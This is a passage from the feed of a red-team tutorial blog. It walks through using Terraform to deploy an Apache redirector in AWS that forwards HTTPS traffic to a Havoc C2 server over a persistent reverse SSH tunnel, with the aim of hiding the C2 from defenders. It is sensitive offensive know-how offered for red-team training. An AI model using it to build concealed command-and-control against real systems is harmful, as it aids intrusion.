data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5eb6e07f-2655-4dc4-a75a-da310a5073b5_1105x361.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:361,&quot;width&quot;:1105,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:127058,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/164003185?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5eb6e07f-2655-4dc4-a75a-da310a5073b5_1105x361.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!BqSc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5eb6e07f-2655-4dc4-a75a-da310a5073b5_1105x361.jpeg 424w, https://substackcdn.com/image/fetch/$s_!BqSc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5eb6e07f-2655-4dc4-a75a-da310a5073b5_1105x361.jpeg 848w, https://substackcdn.com/image/fetch/$s_!BqSc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5eb6e07f-2655-4dc4-a75a-da310a5073b5_1105x361.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!BqSc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5eb6e07f-2655-4dc4-a75a-da310a5073b5_1105x361.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Destroying red team infrastructure via Terraform</figcaption></figure></div><pre><code><strong>TL;DR
</strong>In this post we covered how to:
- Use the cloudflare provider map the given domain name to redirector's public IP by programmatically creating an A record. 
- Generate and deploy a SSL certificate by running certbot in a non-interactive manner.
- Validate the functioning of domain name by deploying a payload on a Windows box.</code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><p></p><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Red Team Infrastructure - Deploying a redirector via Terraform]]></title><description><![CDATA[Learn how to deploy and configure a redirector machine in AWS via Terraform.]]></description><link>https://www.100daysofredteam.com/p/red-team-infrastructure-deploying-a-redirector-via-terraform</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/red-team-infrastructure-deploying-a-redirector-via-terraform</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Mon, 19 May 2025 14:30:23 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/66e53d49-07dc-4577-85f8-8574d61b64b0_614x614.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In previous posts, we laid out the foundational red team infrastructure in AWS using Terraform. The configuration included the creation of a <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-vpc-creation-with-terraform">Virtual Private Cloud (VPC)</a>, <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-subnet-creation-with-terraform">public and private subnets, route tables, an internet gateway</a>, a <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-adding-key-based-ssh-access-via-terraform">Kali Linux EC2 instance with SSH access</a>, <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-ec2-windows-server-deployment-with-terraform">a Windows Server EC2 instance with RDP access</a> and <a href="https://www.100daysofredteam.com/p/red-team-infrastructure-deploying-havoc-c2-via-terraform">an Ubuntu 24.04 EC2 instance with Havoc C2</a>.</p><p>In this post, we take this infrastructure a step forward by adding a redirector machine. The goal is to deploy the redirector on an Ubuntu 24.04 EC2 instance and configure it to run a web server and forward request received on port 443 to the Havoc C2 team server.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><h4>Why we need a redirector machine?</h4><p>In a red team engagement, exposing the C2 server directly to the internet significantly increases risk. Threat detection tools and defenders monitor network traffic, and a known or newly-identified C2 server IP can quickly become a point of failure. A redirector helps mitigate this by acting as a buffer between the public internet and the actual C2 server.</p><p>The redirector&#8217;s primary job is to forward traffic&#8212;typically over ports 80 (HTTP) and 443 (HTTPS)&#8212;to the backend Havoc C2 server, making it appear as though the connection terminates at the redirector. This technique helps mask the true location and identity of the C2 infrastructure. It also adds a layer of operational security by allowing dynamic redirection, traffic filtering, and the use of deception techniques such as domain fronting or HTTP filtering.</p><h4>EC2 instance and other configuration</h4><p>To deploy the redirector machine, a new <code>t3.micro</code> Ubuntu 24.04 EC2 instance is added to our red team infrastructure. This instance will be attached to a new public subnet (<code>192.168.3.0/24</code>). This subnet will allow access to ports 80 and 443. The operator will be allowed to connect to the instance via SSH (<a href="https://www.100daysofredteam.com/p/red-team-infrastructure-adding-key-based-ssh-access-via-terraform">key-based authentication</a>). SSH access will be allowed only from the Havoc C2 server.</p><p>Once the redirector EC2 instance is created, it is configured automatically using a custom <code>user_data</code> script. This script is passed to the instance during launch using Terraform&#8217;s <code>templatefile()</code> function. </p><p>This script performs the following steps:</p><ul><li><p>Updates package lists and installs apache2.</p></li><li><p>Enables ssl, rewrite, proxy, proxy_http Apache modules.</p></li><li><p>Enables the SSL configuration in <code>/var/apache2/sites-enabled.</code></p></li><li><p>Adds a directory block to the SSL configuration.</p></li><li><p>Updates the SSL configuration to allow SSL proxy and relax SSL verification requirements (since we are working with self-signed certificates).</p></li><li><p>Setup web traffic redirection via a .htaccess file. The .htaccess configuration will: </p><ul><li><p>disable directory browsing</p></li><li><p>redirect all requests to / to index.html</p></li><li><p>serve all request matching a file on the redirector machine</p></li><li><p>forward all remaining requests to the Havoc C2 server</p></li></ul></li><li><p>Creates an <code>index.html</code> file in <code>/var/www/html</code> directory.</p></li></ul><p>Next, the <code>user_data</code> script for the Havoc C2 server is updated to automate certain steps. This includes:</p><ul><li><p>Creating a systemd service that ensures the Havoc team server starts automatically whenever the instance reboots.</p></li><li><p>Installing <code>autossh</code>, a tool used to maintain a persistent SSH tunnel.</p></li><li><p>Configuring <code>autossh</code> to establish a reverse SSH tunnel to the redirector EC2 instance. This tunnel forwards traffic from the redirector to the Havoc C2 server.</p></li><li><p>Creating another systemd service to automatically launch the <code>autossh</code> and setup a reverse SSH tunnel on boot.</p></li></ul><p>The <code>user_data</code> script for the Kali Linux EC2 instance is updated to:</p><ul><li><p>Place the previously generated SSH private key to the machine. This is done to allow copying of generated payloads to the redirector machine.</p></li></ul><h4>Deploying the redirector machine</h4><p>Refer to the <a href="https://www.100daysofredteam.com/p/kickstarting-red-team-infrastructure-automation-via-terraform">Kickstarting red team infrastructure automation via Terraform</a> to understand the architecture we are working with.</p><p>Here is the <a href="https://github.com/100daysofredteam/Terraform/tree/main/Red%20Team%20Infra/AWS/EC2-Redirector">Terraform Red Team Infrastructure project in 100 Days of Red Team GitHub repository that deploys a redirector machine</a>.</p><p>Clone this project to your machine and execute the following commands to deploy the infrastructure:</p><p>&#9888;&#65039;<strong>Reminder: </strong>Switch to the dev Terraform workspace (<code>terraform workspace select dev)</code> before executing following commands. To create dev workspace use, <code>terraform workspace new dev</code>.</p><pre><code><code>terraform init
terraform plan -var-file "secrets.tfvars"
terraform apply -var-file "secrets.tfvars"</code></code></pre><blockquote><p><strong>Reminder</strong>: You must create a <code>secrets.tfvars</code> file manually to hold credentials. Never commit secrets to version control. It contains AWS credentials temporarily stored in plain text, which is not recommended for production environments. Also, we are still using local state files for simplicity. In a real red team deployment, you must use an encrypted remote backend.</p></blockquote><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_P8r!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9be0ce4-f01b-43bc-b966-063255d48904_1110x563.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_P8r!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9be0ce4-f01b-43bc-b966-063255d48904_1110x563.jpeg 424w, https://substackcdn.com/image/fetch/$s_!_P8r!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9be0ce4-f01b-43bc-b966-063255d48904_1110x563.jpeg 848w, https://substackcdn.com/image/fetch/$s_!_P8r!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9be0ce4-f01b-43bc-b966-063255d48904_1110x563.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!_P8r!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9be0ce4-f01b-43bc-b966-063255d48904_1110x563.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_P8r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9be0ce4-f01b-43bc-b966-063255d48904_1110x563.jpeg" width="1110" height="563" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d9be0ce4-f01b-43bc-b966-063255d48904_1110x563.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:563,&quot;width&quot;:1110,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:95246,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163906817?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9be0ce4-f01b-43bc-b966-063255d48904_1110x563.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_P8r!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9be0ce4-f01b-43bc-b966-063255d48904_1110x563.jpeg 424w, https://substackcdn.com/image/fetch/$s_!_P8r!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9be0ce4-f01b-43bc-b966-063255d48904_1110x563.jpeg 848w, https://substackcdn.com/image/fetch/$s_!_P8r!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9be0ce4-f01b-43bc-b966-063255d48904_1110x563.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!_P8r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd9be0ce4-f01b-43bc-b966-063255d48904_1110x563.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Deploying red team infrastructure via Terraform</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!gUtj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2b8e39f-cb77-4e47-9faa-3320a207c825_1416x425.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!gUtj!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2b8e39f-cb77-4e47-9faa-3320a207c825_1416x425.jpeg 424w, https://substackcdn.com/image/fetch/$s_!gUtj!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2b8e39f-cb77-4e47-9faa-3320a207c825_1416x425.jpeg 848w, https://substackcdn.com/image/fetch/$s_!gUtj!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2b8e39f-cb77-4e47-9faa-3320a207c825_1416x425.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!gUtj!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2b8e39f-cb77-4e47-9faa-3320a207c825_1416x425.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!gUtj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2b8e39f-cb77-4e47-9faa-3320a207c825_1416x425.jpeg" width="1416" height="425" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f2b8e39f-cb77-4e47-9faa-3320a207c825_1416x425.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:425,&quot;width&quot;:1416,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:97871,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163906817?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2b8e39f-cb77-4e47-9faa-3320a207c825_1416x425.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!gUtj!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2b8e39f-cb77-4e47-9faa-3320a207c825_1416x425.jpeg 424w, https://substackcdn.com/image/fetch/$s_!gUtj!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2b8e39f-cb77-4e47-9faa-3320a207c825_1416x425.jpeg 848w, https://substackcdn.com/image/fetch/$s_!gUtj!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2b8e39f-cb77-4e47-9faa-3320a207c825_1416x425.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!gUtj!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2b8e39f-cb77-4e47-9faa-3320a207c825_1416x425.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Redirector EC2 machine provisioned via Terraform </figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!MBW6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F013dd523-53a4-40ac-ab92-3c0aa54a10c7_596x228.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!MBW6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F013dd523-53a4-40ac-ab92-3c0aa54a10c7_596x228.jpeg 424w, https://substackcdn.com/image/fetch/$s_!MBW6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F013dd523-53a4-40ac-ab92-3c0aa54a10c7_596x228.jpeg 848w, https://substackcdn.com/image/fetch/$s_!MBW6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F013dd523-53a4-40ac-ab92-3c0aa54a10c7_596x228.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!MBW6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F013dd523-53a4-40ac-ab92-3c0aa54a10c7_596x228.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!MBW6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F013dd523-53a4-40ac-ab92-3c0aa54a10c7_596x228.jpeg" width="596" height="228" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/013dd523-53a4-40ac-ab92-3c0aa54a10c7_596x228.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:228,&quot;width&quot;:596,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:14558,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163906817?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F013dd523-53a4-40ac-ab92-3c0aa54a10c7_596x228.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!MBW6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F013dd523-53a4-40ac-ab92-3c0aa54a10c7_596x228.jpeg 424w, https://substackcdn.com/image/fetch/$s_!MBW6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F013dd523-53a4-40ac-ab92-3c0aa54a10c7_596x228.jpeg 848w, https://substackcdn.com/image/fetch/$s_!MBW6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F013dd523-53a4-40ac-ab92-3c0aa54a10c7_596x228.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!MBW6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F013dd523-53a4-40ac-ab92-3c0aa54a10c7_596x228.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Requests to / getting redirected to index.html</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Pf_1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1593afd7-8c06-4ab4-89a2-e8d8399fb6a4_1102x204.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Pf_1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1593afd7-8c06-4ab4-89a2-e8d8399fb6a4_1102x204.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Pf_1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1593afd7-8c06-4ab4-89a2-e8d8399fb6a4_1102x204.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Pf_1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1593afd7-8c06-4ab4-89a2-e8d8399fb6a4_1102x204.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!Pf_1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1593afd7-8c06-4ab4-89a2-e8d8399fb6a4_1102x204.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Pf_1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1593afd7-8c06-4ab4-89a2-e8d8399fb6a4_1102x204.jpeg" width="1102" height="204" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1593afd7-8c06-4ab4-89a2-e8d8399fb6a4_1102x204.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:204,&quot;width&quot;:1102,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:35731,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/163906817?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1593afd7-8c06-4ab4-89a2-e8d8399fb6a4_1102x204.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Pf_1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1593afd7-8c06-4ab4-89a2-e8d8399fb6a4_1102x204.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Pf_1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1593afd7-8c06-4ab4-89a2-e8d8399fb6a4_1102x204.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Pf_1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1593afd7-8c06-4ab4-89a2-e8d8399fb6a4_1102x204.jpeg 1272w, 